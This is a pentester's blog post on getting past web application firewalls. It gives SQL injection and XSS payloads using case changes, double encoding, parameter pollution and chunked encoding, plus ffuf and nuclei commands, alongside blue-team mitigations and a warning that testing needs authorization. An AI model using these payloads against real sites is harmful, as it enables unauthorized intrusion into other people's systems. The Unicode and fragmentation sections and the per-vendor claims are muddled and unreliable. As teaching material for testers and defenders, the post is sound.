WAF bypass traffic flow and normalization gap diagram

WAF Bypass in Practice: Real Techniques, Detection, and Mitigation

A WAF exists to block. And it works. Most of the time.

But “most of the time” is not “always.” And the difference between blocked and bypassed is often a configuration issue, not a zero-day flaw.

This post documents real techniques that work against WAFs in production. Not theoretical. Not from a perfect lab. Real.

What a WAF actually does

Before talking about bypass, it is worth understanding what is doing the blocking.

A WAF operates in three modes:

  • Blacklist — blocks known patterns (SQLi, XSS, command injection)
  • Whitelist — only allows what is defined in the rule
  • Anomaly detection — compares behavior against a baseline

Most production WAFs use blacklist + anomaly detection. That means they block known signatures AND behavior outside the norm.

The weak point: signatures are string-based. And strings can be manipulated.

Techniques that work (with real examples)

1. Case manipulation

WAFs are often case-sensitive in their rules. The backend server is not.

# Blocked
SELECT * FROM users WHERE id=1

# Passes
SeLeCt * FrOm UsErS wHeRe Id=1</code>

Works on: Cloudflare (basic mode), ModSecurity (default rules), AWS WAF (managed rules)

Does not work on: Cloudflare (Strict mode), Azure WAF (Prevent mode)


2. Double encoding

The WAF sees the encoded payload. The server decodes it twice.

# Blocked
&lt;script&gt;alert(1)&lt;/script&gt;

# Passes (double URL encode)
%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E</code>

The WAF decodes it once and sees %3Cscript%3E... — it does not match the <script> signature. The IIS/Apache server decodes it again and executes it.

Works on: Cloudflare, ModSecurity, Akamai


3. HTTP Parameter Pollution (HPP)

The same parameter appears twice. The WAF analyzes the first one. The backend uses the second.

# WAF sees id=1 (safe)
# Backend uses id=1' OR '1'='1
GET /page?id=1&amp;id=1' OR '1'='1</code>

Works on: Tomcat, ASP.NET, some Nginx setups

Does not work on: PHP (concatenates with a comma), Node.js (last value)


4. Chunked Transfer Encoding

Splits the payload into chunks so small that the WAF cannot reassemble them before letting them through.

POST /login HTTP/1.1
Transfer-Encoding: chunked

4
user
5
' or
6
 '1'=
2
 1</code>

The WAF sees isolated pieces. The backend reconstructs: user' or '1'= 1

Works on: ModSecurity < 2.9, WAFs that do not inspect chunked encoding


5. Unicode normalization

Unicode characters that the server interprets as ASCII.

# Blocked
UNION SELECT

# Passes (Unicode confusables)
.UNION.%00SELECT</code>

%00 (null byte) is ignored by many servers. Others: ½1/2, fi

Works on: Apache with mod_security, some CDNs


6. Payload fragmentation

Breaks the payload across separate requests (TCP fragmentation).

# Request 1: SELECT
# Request 2: * FROM users WHERE id=

# Request combined by the backend</code>

Requires TCP control (scapy, hping3). It does not work through a browser or standard curl.

Works on: Inline WAFs that do not perform stateful inspection

Tools for automation

ToolUseLink
ffufBypass fuzzing with wordlistsgithub.com/ffuf/ffuf
WAFNinjaAutomated bypass testinggithub.com/khalilbijjou/WAFNinja
NucleiWAF detection + bypass templatesgithub.com/projectdiscovery/nuclei
curlQuick manual testing with custom flags
Burp SuiteProxy + Repeater for manual testingportswigger.net/burp

Quick command: test bypass with ffuf

# Wordlist of common bypasses
ffuf -u "https://target.com/FUZZ" \
  -w /usr/share/seclists/Fuzzing/special-chars-unICODE \
  -mc 200,301,302 \
  -ac</code>

Quick command: WAF detection with Nuclei

nuclei -u https://target.com -tags waf-detect

Real case study: the ACME path (/.well-known/acme-challenge/)

A public study by FearsOff showed a scenario in which requests to /.well-known/acme-challenge/ could reach the origin even with strict blocking rules on the WAF. The key point was not a “magic exploit,” but rather a difference in handling for a technical path used for certificate validation (ACME HTTP-01).

Why this matters: when a path receives special treatment from infrastructure/CDN components, a gap can emerge between what the edge policy promises and what the origin actually receives. For pentesting, that becomes a test hypothesis. For the blue team, it becomes part of the hardening and continuous validation checklist.

Important: the write-up itself states that the case was fixed. The value here is methodological: always test “system” paths (ACME, health checks, callbacks) in addition to application routes.

What does NOT work (myths)

“Changing the User-Agent is enough”
No. Modern WAFs inspect the payload, not the header. Changing the UA changes the fingerprint, not the content.

“A VPN solves everything”
A VPN hides the IP. A WAF generally does not block by IP. It blocks by payload pattern.

“Use POST instead of GET”
WAFs inspect both. POST is sometimes inspected less strictly, but it is not a guaranteed bypass.

Quick methodology to validate bypass safely

  1. Define a baseline: one route that should block and another that should respond.
  2. Send idempotent payloads (no state change) and compare status/body/headers.
  3. Vary normalization (case, encoding, parameter duplication, technical path).
  4. Record evidence of “who responded” (WAF vs. origin) and the timestamp/correlation.
  5. Report the risk + mitigation + a reproducible detection rule.

How to protect yourself (for the blue team)

If you configure WAFs, do not trust the default settings. In parallel, it is also worth reviewing the broader AI-driven attack-chain scenario in the article Autonomous Pentest Agent: AI, Red Team, and Attack Chains.

  1. Enable Strict/Prevent mode — not just Detect
  2. Enable chunked encoding inspection
  3. Use virtual patching — update rules with OWASP CRS
  4. Monitor bypass attempts — log the normalized URI, original URI, status, and response origin; alert on deviations from the standard pattern
  5. Test your own WAF — use the same tools as the attacker and validate technical paths as well (.well-known, callbacks, and health endpoints)

Legal context

In Brazil, testing a WAF without authorization is a crime (Art. 154-A of the Penal Code).

All techniques here were tested in:

  • Our own lab environment
  • WAFs in free/trial mode with explicit authorization
  • Targets with scope defined by contract

Use only in your own environment or with written authorization. No exceptions.

Recommended external references

Conclusion

WAF bypass is not magic. It is understanding how the WAF interprets input versus how the server interprets it.

The gap between those two interpretations is where bypass lives.

If you are a pentester: test your WAF before the attacker does.
If you are a defender: configure it knowing that a blacklist is not enough.

Related Posts:

💜 Enjoyed this content? Support the blog with USDT (TRC20):

TX7obcjHQbDUXb4mGqoASEu1QFTKT2CFGG

View support page

Paulo Rigonato

Security Engineer | Red Team | Pentest

Offensive security specialist with experience in assessments, pentesting, and Red Team operations. He works in enterprise cybersecurity and continues to share knowledge through this blog.

Certifications: OSCP | eWPTXv2 | ITILv4

💻 GitHub 🔗 LinkedIn

Similar Posts